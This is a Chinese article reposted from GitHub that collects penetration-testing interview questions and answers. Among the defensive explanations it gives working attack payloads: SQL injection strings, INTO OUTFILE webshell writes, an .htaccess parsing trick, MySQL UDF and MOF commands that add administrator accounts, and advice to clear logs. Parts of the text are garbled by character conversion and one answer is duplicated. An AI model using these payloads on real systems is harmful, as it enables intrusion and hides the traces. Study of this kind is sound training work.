渗透测试面试问题2019版,内含大量渗透技巧

 

文章来自Github-做者Mr-xn:javascript

渗透测试面试问题2019版php

https://github.com/Mr-xn/BurpSuite-collections/blob/master/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E9%9D%A2%E8%AF%95%E9%97%AE%E9%A2%982019%E7%89%88.mdcss

全文约14300字前端

阅读可会花大量时间java

不妨先保存node

微信排版不易mysql

原做者编辑不易linux

老哥们记得给个starnginx

和再看哦git

思路流程

信息收集

  1. 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
  2. 网站指纹识别(包括,cms,cdn,证书等),dns记录
  3. whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
  4. 子域名收集,旁站,C段等
  5. google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等
  6. 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
  7. 传输协议,通用漏洞,exp,github源码等

漏洞挖掘

  1. 浏览网站,看看网站规模,功能,特色等
  2. 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,好比 rsync,心脏出血,mysql,ftp,ssh弱口令等。
  3. XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通讯数据传输,暴力破解,任意文件上传,越权访问,未受权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

漏洞利用&权限提高

  • mysql提权,serv-u提权,oracle提权
  • windows 溢出提权
  • linux脏牛,内核漏洞提权e

清除测试数据&输出报告

日志、测试数据的清理 总结,输出渗透测试报告,附修复方案

复测

验证并发现是否有新漏洞,输出报告,归档

问题

1.拿到一个待检测的站,你以为应该先作什么?

a、信息收集 一、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,而后尝试用泄露的密码进行登陆后台。用邮箱作关键词进行丢进搜索引擎。利用搜索到的关联信息找出其余邮箱进而获得经常使用社交帐号。社工找出社交帐号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。 二、查询服务器旁站以及子域名站点,由于主站通常比较难,因此先看看旁站有没有通用性的cms或者其余漏洞。 三、查看服务器操做系统版本,web中间件,看看是否存在已知的漏洞,好比IIS,APACHE,NGINX的解析漏洞 四、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,好比 rsync,心脏出血,mysql,ftp,ssh弱口令等。 五、扫描网站目录结构,看看是否能够遍历目录,或者敏感文件泄漏,好比php探针 六、google hack 进一步探测网站的信息,后台,敏感文件

b、漏洞扫描 开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

c、漏洞利用 利用以上的方式拿到webshell,或者其余权限

d、权限提高 提权服务器,好比windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

e、日志清理

f、总结报告及修复方案

2.判断出网站的CMS对渗透有什么意义?

查找网上已曝光的程序漏洞。

若是开源,还能下载相对应的源码进行代码审计。

3.一个成熟而且相对安全的CMS,渗透时扫目录的意义?

敏感文件、二级目录扫描

站长的误操做好比:网站备份的压缩文件、说明.txt、二级目录可能存放着其余站点

4.常见的网站服务器容器。

IIS、Apache、nginx、Lighttpd、Tomcat

5.mysql注入点,用工具对目标站直接写入一句话,须要哪些条件?

root权限以及网站的绝对路径。

6.目前已知哪些版本的容器有解析漏洞,具体举例。

a、IIS 6.0 /xx.asp/xx.jpg "xx.asp"是文件夹名

b、IIS 7.0/7.5 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

c、Nginx 版本小于等于0.8.37,利用方法和IIS 7.0/7.5同样,Fast-CGI关闭状况下也可利用。空字节代码 xxx.jpg.php

d、Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

e、lighttpd xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

7.如何手工快速判断目标站是windows仍是linux服务器?

linux大小写敏感,windows大小写不敏感。

8.为什么一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫描出来。

站库分离。

3306端口不对外开放

九、3389没法链接的几种状况

没开放3389 端口 端口被修改 防御拦截 处于内网(需进行端口转发)

10.如何突破注入时字符被转义?

宽字符注入 hex编码绕过

11.在某后台新闻编辑界面看到编辑器,应该先作什么?

查看编辑器的名称版本,而后搜索公开的漏洞。

12.拿到一个webshell发现网站根目录下有.htaccess文件,咱们能作什么?

能作的事情不少,用隐藏网马来举例子: 插入 <FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php .jpg文件会被解析成.php文件。

具体其余的事情,很差详说,建议你们本身去搜索语句来玩玩。

13.注入漏洞只能查帐号密码?

只要权限广,拖库脱到老。

14.安全狗会追踪变量,从而发现出是一句话木马吗?

是根据特征码,因此很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

**15.access 扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用?

迅雷下载,直接改后缀为.mdb。

16.提权时选择可读写目录,为什么尽可能不用带空格的目录?

由于exp执行多半须要空格界定参数

17.某服务器有站点A,B 为什么在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

同数据库。

18.注入时能够不使用and 或or 或xor,直接order by 开始注入吗?

and/or/xor,前面的1=一、1=2步骤只是为了判断是否为注入点,若是已经肯定是注入点那就能够省那步骤去。

19:某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为。 已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1

20、如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候能够尝试寻找网站的配置文件 直接上菜刀连接。

21.上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码。

22.审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增长上传类型就能突破限制了。

23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你以为这里怎样利用?

先爆破用户名,再利用被爆破出来的用户名爆破密码。 其实有些站点,在登录处也会这样提示 全部和数据库有交互的地方都有可能有注入。

24.目标站发现某txt的下载地址为 http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,而后在首页文件里继续查找其余网站的配置文件,能够找出网站的数据库密码和数据库的地址。

25.甲给你一个目标站,而且告诉你根目录下存在/abc/目录,而且此目录下存在编辑器和admin目录。请问你的想法是?

直接在网站二级目录/abc/下扫描敏感文件及目录。

26.在有shell的状况下,如何使用xss实现对目标站的长久控制?

后台登陆处加一段记录登陆帐号密码的js,而且判断是否登陆成功,若是登陆成功,就把帐号密码记录到一个生僻的路径的文件中或者直接发到本身的网站文件中。(此方法适合有价值而且须要深刻控制权限的网络)。

在登陆后才能够访问的文件中插入XSS脚本。

27.后台修改管理员密码处,原密码显示为*。你以为该怎样实现读出这个用户的密码?

审查元素 把密码处的password属性改为text就明文显示了

28.目标站无防御,上传图片能够正常访问,上传脚本格式访问则403.什么缘由?

缘由不少,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

29.审查元素得知网站所使用的防御软件,你以为怎样作到的?

在敏感操做被拦截,经过界面信息没法具体判断是什么防御的时候,F12看HTML体部 好比护卫神就能够在名称那看到内容。

30.在win2003服务器中创建一个 .zhongzi文件夹用意何为?

隐藏文件夹,为了避免让管理员发现你传上去的工具。

3一、sql注入有如下两个测试选项,选一个而且阐述不选另外一个的理由:

A. demo.jsp?id=2+1 B. demo.jsp?id=2-1 选B,在 URL 编码中 + 表明空格,可能会形成混淆

3二、如下连接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg== DATA有可能通过了 base64 编码再传入服务器,因此咱们也要对参数进行 base64 编码才能正确完成测试

3三、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪一种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,能够将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接得到一个 Shell,这样效率更高 经过构造联合查询语句获得网站管理员的帐户和密码,而后扫后台登陆后台,再在后台经过改包上传等方法上传 Shell

3四、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中能够构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是因为没有在关键操做执行时进行是否由用户自愿发起的确认。修复方式:筛选出须要防范CSRF的页面而后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中能够经过调用实体来请求本地或者远程内容,和远程文件保护相似,会引起相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

3五、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

3六、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在

1)密码容许暴力破解、

2)存在通用型找回凭证、

3)能够跳过验证步骤、

4)找回凭证能够拦包获取

等方式来经过厂商提供的密码找回功能来获得密码。身份认证漏洞中最多见的是

1)会话固定攻击

2) Cookie 仿冒

只要获得 Session 或 Cookie 便可伪造用户身份。验证码漏洞中存在

1)验证码容许暴力破解

2)验证码能够经过 Javascript 或者改包的方法来进行绕过

3七、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:***.com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive

有写入权限的,构造联合查询语句使用using INTO OUTFILE,能够将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接得到一个 Shell,这样效率更高 经过构造联合查询语句获得网站管理员的帐户和密码,而后扫后台登陆后台,再在后台经过改包上传等方法上传 Shell

3八、给你一个网站你是如何来渗透测试的?在获取书面受权的前提下。

3九、sqlmap,怎么对一个注入点注入? 1)若是是get型号,直接,sqlmap -u "诸如点网址". 2) 若是是post型诸如点,能够sqlmap -u "注入点网址” --data="post的参数" 3)若是是cookie,X-Forwarded-For等,能够访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,而后sqlmap -r "文件地址"

40、nmap,扫描的几种方式

4一、sql注入的几种类型? 1)报错注入 2)bool型注入 3)延时注入 4)宽字节注入 4二、报错注入的函数有哪些?10个

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)经过floor报错 向下取整
3+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4.geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
5.multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6.polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7.multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8.linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9.multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10.exp()select from test where id=1 and exp(~(select * from(select user())a));

4三、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

4四、盲注和延时注入的共同点?都是一个字符一个字符的判断

4五、如何拿一个网站的webshell?上传,后台编辑模板,sql注入写文件,命令执行,代码执行, 一些已经爆出的cms漏洞,好比dedecms后台能够直接创建脚本文件,wordpress上传插件包含脚本文件zip压缩包等

4六、sql注入写文件都有哪些函数?

select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile  'd:\wwwroot\baidu.com\nvhack.php';

4七、如何防止CSRF? 1,验证referer 2,验证token 详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

4八、owasp 漏洞都有哪些? 一、SQL注入防御方法: 二、失效的身份认证和会话管理 三、跨站脚本攻击XSS 四、直接引用不安全的对象 五、安全配置错误 六、敏感信息泄露 七、缺乏功能级的访问控制 八、跨站请求伪造CSRF 九、使用含有已知漏洞的组件 十、未验证的重定向和转发

4九、SQL注入防御方法? 一、使用安全的API 二、对输入的特殊字符进行Escape转义处理 三、使用白名单来规范化输入验证方法 四、对客户端输入进行控制,不容许输入SQL注入相关的特殊字符 五、服务器端在提交数据库进行SQL查询以前,对特殊字符进行过滤、转义、替换、删除。

50、代码执行,文件读取,命令执行的函数都有哪些?

1)代码执行:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2)文件读取:

file_get_contents(),highlight_file(),fopen(),read 

file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()3)命令执行:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

5一、img标签除了onerror属性外,还有其余获取管理员路径的办法吗? src指定一个远程的脚本文件,获取referer

5二、img标签除了onerror属性外,而且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 会以php方式来解析

5三、为何aspx木马权限比asp大?

aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马通常是guest权限…APSX的木马通常是users权限。

5四、如何绕过waf?

大小写转换法                                     
干扰字符 /*!*/                                             
编码 base64 unicode hex url ascll                                     
复参数

5五、如何向服务器写入webshell?

各类上传漏洞
mysql具备写入权限,用sql语句写入shell
http put方法

5六、渗透测试中常见的端口

a、web类(web漏洞/敏感目录) 第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

80 web 
80-89 web 
8000-9090 web

b、数据库类(扫描弱口令)

1433 MSSQL 
1521 Oracle 
3306 MySQL 
5432 PostgreSQL

c、特殊服务类(未受权/命令执行类/漏洞)

443 SSL心脏滴血 
873 Rsync未受权 
5984 CouchDB http://xxx:5984/_utils/ 
6379 redis未受权 
7001,7002 WebLogic默认弱口令,反序列 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
11211 memcache未受权访问 
27017,27018 Mongodb未受权访问 
50000 SAP命令执行 
50070,50030 hadoop默认端口未受权访问

d、经常使用端口类(扫描弱口令/端口爆破)

21 ftp 
22 SSH 
23 Telnet 
2601,2604 zebra路由,默认密码zebra
3389 远程桌面

ALL、端口合计详情

21 ftp 
22 SSH 
23 Telnet 
80 web 
80-89 web 
161 SNMP 
389 LDAP 
443 SSL心脏滴血以及一些web漏洞测试 
445 SMB 
512,513,514 Rexec 
873 Rsync未受权 
1025,111 NFS 
1433 MSSQL 
1521 Oracle:(iSqlPlus Port:5560,7778) 
2082/2083 cpanel主机管理系统登录 (国外用较多)
2222 DA虚拟主机管理系统登录 (国外用较多) 
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,若是没设置口令极可能就直接漫游内网了 
3306 MySQL 
3312/3311 kangle主机管理系统登录 
3389 远程桌面 
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
5432 PostgreSQL 
5900 vnc 
5984 CouchDB http://xxx:5984/_utils/ 
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未受权访问易致使网站被直接篡改或者做为代理进入内网 
6379 redis未受权 
7001,7002 WebLogic默认弱口令,反序列 
7778 Kloxo主机控制面板登陆 
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 
8080 tomcat/WDCP主机管理系统,默认弱口令 
8080,8089,9090 JBOSS 
8083 Vestacp主机管理系统 (国外用较多) 
8649 ganglia 
8888 amh/LuManager 主机管理系统默认端口 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
10000 Virtualmin/Webmin 服务器虚拟主机管理系统 
11211 memcache未受权访问 
27017,27018 Mongodb未受权访问 
28017 mongodb统计页面 
50000 SAP命令执行 
50070,50030 hadoop默认端口未受权访问

深信服一面:

  • 了解哪些漏洞
  • 文件上传有哪些防御方式
  • 用什么扫描端口,目录
  • 如何判断注入
  • 注入有防御怎么办
  • 有没有写过tamper
  • 3306 1443 8080是什么端口
  • 计算机网络从物理层到应用层xxxx
  • 有没有web服务开发经验
  • 如何向服务器写入webshell
  • 有没有用过xss平台
  • 网站渗透的流程
  • mysql两种提权方式(udf,?)
  • 常见加密方式xxx
  • ddos如何防御
  • 有没有抓过包,会不会写wireshark过滤规则
  • 清理日志要清理哪些

SQL注入防御

一、使用安全的API 二、对输入的特殊字符进行Escape转义处理 三、使用白名单来规范化输入验证方法 四、对客户端输入进行控制,不容许输入SQL注入相关的特殊字符 五、服务器端在提交数据库进行SQL查询以前,对特殊字符进行过滤、转义、替换、删除。 六、规范编码,字符集

为何参数化查询能够防止sql注入

原理:

使用参数化查询数据库服务器不会把参数的内容看成sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说: 参数化能防注入的缘由在于,语句是语句,参数是参数,参数的值并非语句的一部分,数据库只按语句的语义跑

SQL头注入点

UA
REFERER
COOKIE
IP

盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程当中,服务器关闭了错误回显,咱们单纯经过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是经过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是经过sql语句处理时间的不一样来判断是否存在注入(time-based),在这里,能够用benchmark,sleep等形成延时效果的函数,也能够经过构造大笛卡儿积的联合查询表来达到延时的目的。

宽字节注入产生原理以及根本缘由

产生原理

在数据库使用了宽字符集而WEB中没考虑这个问题的状况下,在WEB层,因为0XBF27是两个字符,在PHP中好比addslash和magic_quotes_gpc开启时,因为会对0x27单引号进行转义,所以0xbf27会变成0xbf5c27,而数据进入数据库中时,因为0XBF5C是一个另外的字符,所以\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来能够用来闭合语句。

在哪里编码

根本缘由

character_set_client(客户端的字符集)和character_set_connection(链接层的字符集)不一样,或转换函数如,iconv、mb_convert_encoding使用不当。

解决办法

统一数据库、Web应用、操做系统所使用的字符集,避免解析产生差别,最好都设置为UTF-8。或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

sql里面只有update怎么利用

先理解这句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

若是此 SQL 被修改为如下形式,就实现了注入

a、修改 homepage 值为http://xxx.net', userlevel='3

以后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 为用户级别

b、修改 password 值为mypass)' WHERE username='admin'#

以后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

c、修改 id 值为' OR username='admin'以后 SQL 语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

sql如何写shell/单引号被过滤怎么办

写shell: root权限,GPC关闭,知道文件路径 outfile函数

`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'`

`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`

宽字节注入

代替空格的方法

%0a、%0b、%a0 等
/**/ 等注释符
<>

mysql的网站注入,5.0以上和5.0如下有什么区别?

5.0如下没有information_schema这个系统表,没法列表名等,只能暴力跑表名。

5.0如下是多用户单操做,5.0以上是多用户多操作。

XSS

XSS原理

反射型

用户提交的数据中能够构造代码来执行,从而实现窃取用户信息等攻击。须要诱使用户“点击”一个恶意连接,才能攻击成功

储存型

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具备很强的稳定性。

DOM型

经过修改页面的DOM节点造成的XSS,称之为DOM Based XSS。

DOM型和反射型的区别

反射型XSS:经过诱导用户点击,咱们构造好的恶意payload才会触发的XSS。反射型XSS的检测咱们在每次请求带payload的连接时页面应该是会带有特定的畸形数据的。DOM型:经过修改页面的DOM节点造成的XSS。DOM-based XSS因为是经过js代码进行dom操做产生的XSS,因此在请求的响应中咱们甚至不必定会获得相应的畸形数据。根本区别在我看来是输出点的不一样。

DOM型XSS 自动化测试或人工测试

人工测试思路:找到相似document.write、innerHTML赋值、outterHTML赋值、window.location操做、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否通过安全函数。自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有通过安全函数。可是这样就须要有一个javascript解析器,不然会漏掉一些经过js执行带入的部份内容。

在回答这段问题的时候,因为平时对客户的检测中,基本是凭借不一样功能点的功能加上经验和直觉来进行检测,对不一样类型的XSS检测方式实际上并无太过细分的标准化检测方式,因此回答的很烂。。。

对于XSS怎么修补建议

输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。

输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,若是输出在Javascript脚本中时,对其进行JavascriptEncode。对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就没法逃逸出引号外成为code的一部分。还可使用更加严格的方法,对全部数字字母以外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也须要考虑清楚,针对不一样的输出点,咱们防护XSS的方法可能会不一样,这点可能在以后的文章会作下总结。

除此以外,还有作HTTPOnly对Cookie劫持作限制。

XSS蠕虫的产生条件

正常状况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,均可能形成XSS Worm的产生。 不必定须要存储型XSS

CSRF

CSRF原理

CSRF是跨站请求伪造攻击,由客户端发起,是因为没有在关键操做执行时进行是否由用户自愿发起的确认

防护

验证Referer 添加token

token和referer作横向对比,谁安全等级高?

token安全等级更高,由于并非任何服务器均可以取得referer,若是从HTTPS跳到HTTP,也不会发送referer。而且FLASH一些版本中能够自定义referer。可是token的话,要保证其足够随机且不可泄露。(不可预测性原则)

对referer的验证,从什么角度去作?若是作,怎么杜绝问题

对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。

针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?

引用一段请教前辈的回答:

针对token的攻击,一是对它自己的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击
信息泄露有多是缓存、日志、get,也有多是利用跨站
不少跳转登陆的都依赖token,有一个跳转漏洞加反射型跨站就能够组合成登陆劫持了
另外也能够结合着其它业务来描述token的安全性及设计很差怎么被绕过好比抢红包业务之类的

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造造成由服务端发起请求的一个安全漏洞。通常状况下,SSRF攻击的目标是从外网没法访问的内部系统。(正是由于它是由服务端发起的,因此它可以请求到与它相连而与外网隔离的内部系统)

SSRF 造成的缘由大都是因为服务端提供了从其余服务器应用获取数据的功能且没有对目标地址作过滤与限制。好比从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

检测

SSRF漏洞的验证方法:

1)由于SSRF漏洞是让服务器发送请求的安全漏洞,因此咱们就能够经过抓包分析发送的请求是不是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,若是该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4[1]

SSRF漏洞的成因 防护 绕过

成因:模拟服务器对其余服务器资源进行请求,没有作合法性验证。利用:构造恶意内网IP作探测,或者使用其他所支持的协议对其他服务进行攻击。防护:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不一样协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其余字符,@之类的。301跳转+dns rebindding。

上传

文件上传漏洞原理

因为程序员在对用户文件上传部分的控制不足或者处理缺陷,而致使用户能够越过其自己权限向服务器上传可执行的动态脚本文件

常见的上传绕过方式

前端js验证:禁用js/burp改包 大小写 双重后缀名 过滤绕过 pphphp->php

防御

文件上传目录设置为不可执行 使用白名单判断文件上传类型 用随机数改写文件名和路径

审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增长上传类型就能突破限制了。

文件包含

原理

引入一段用户能控制的脚本或代码,并让服务器端执行 include()等函数经过动态变量的方式引入须要包含的文件; 用户可以控制该动态变量。

致使文件包含的函数

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,

本地文件包含

可以打开并包含本地文件的漏洞,被称为本地文件包含漏洞

金融行业常见逻辑漏洞

单针对金融业务的 主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引发的薅羊毛,交易/订单信息泄露,水平越权对别人的帐户查看或恶意操做,交易或业务步骤绕过。

中间人攻击

中间人攻击是一个(缺少)相互认证的攻击;因为客户端与服务器之间在SSL握手的过程当中缺少相互认证而形成的漏洞

防护中间人攻击的方案一般基于一下几种技术

1.公钥基础建设PKI 使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就形成了SSL握手环节的漏洞,而若是使用相互认证的的话,基本能够更强力的相互认证

2.延迟测试

使用复杂加密哈希函数进行计算以形成数十秒的延迟;若是双方一般状况下都要花费20秒来计算,而且整个通信花费了60秒计算才到达对方,这就能代表存在第三方中间人。

3.使用其余形式的密钥交换形式

ARP欺骗

原理

每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证本身是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,若是原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

防御

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙

DDOS

Ddos原理

利用合理的请求形成资源过载,致使服务不可用

syn洪流的原理

伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,由于源地址是伪造的,因此伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次而且等待一个SYNTime(通常为30秒至2分钟),若是超时则丢弃这个链接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗很是多的资源(CPU和内存)来处理这种半链接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的链接请求,致使拒绝服务。

CC攻击原理

对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。

DDOS防御

SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每个IP地址分配一个“Cookie”,并统计每一个IP地址的访问频率。若是在短期内收到大量的来自同一个IP地址的数据包,则认为受到攻击,以后来自这个IP地址的包将被丢弃。

提权

mysql两种提权方式

udf提权,mof提权

Mysql_UDF提权

要求: 1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户帐号,此帐号必须有对mysql的insert和delete权限以建立和抛弃函数 3.有root帐号密码 导出udf: MYSQL 5.1以上版本,必需要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能建立自定义函数 能够再mysql里输入select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径 提权:

使用SQL语句建立功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

该目录默认是不存在的,这就须要咱们使用webshell找到MYSQL的安装目录,并在安装目录下建立lib\plugin文件夹,而后将udf.dll文件导出到该目录便可。

Mysql mof提权

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

其中的第18行的命令,上传前请本身更改。

二、执行load_file及into dumpfile把文件导出到正确的位置便可。

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

执行成功后,便可添加一个普通用户,而后你能够更改命令,再上传导出执行把用户提高到管理员权限,而后3389链接之就ok了。

特殊漏洞

Struts2-045

Redis未受权访问

产生缘由

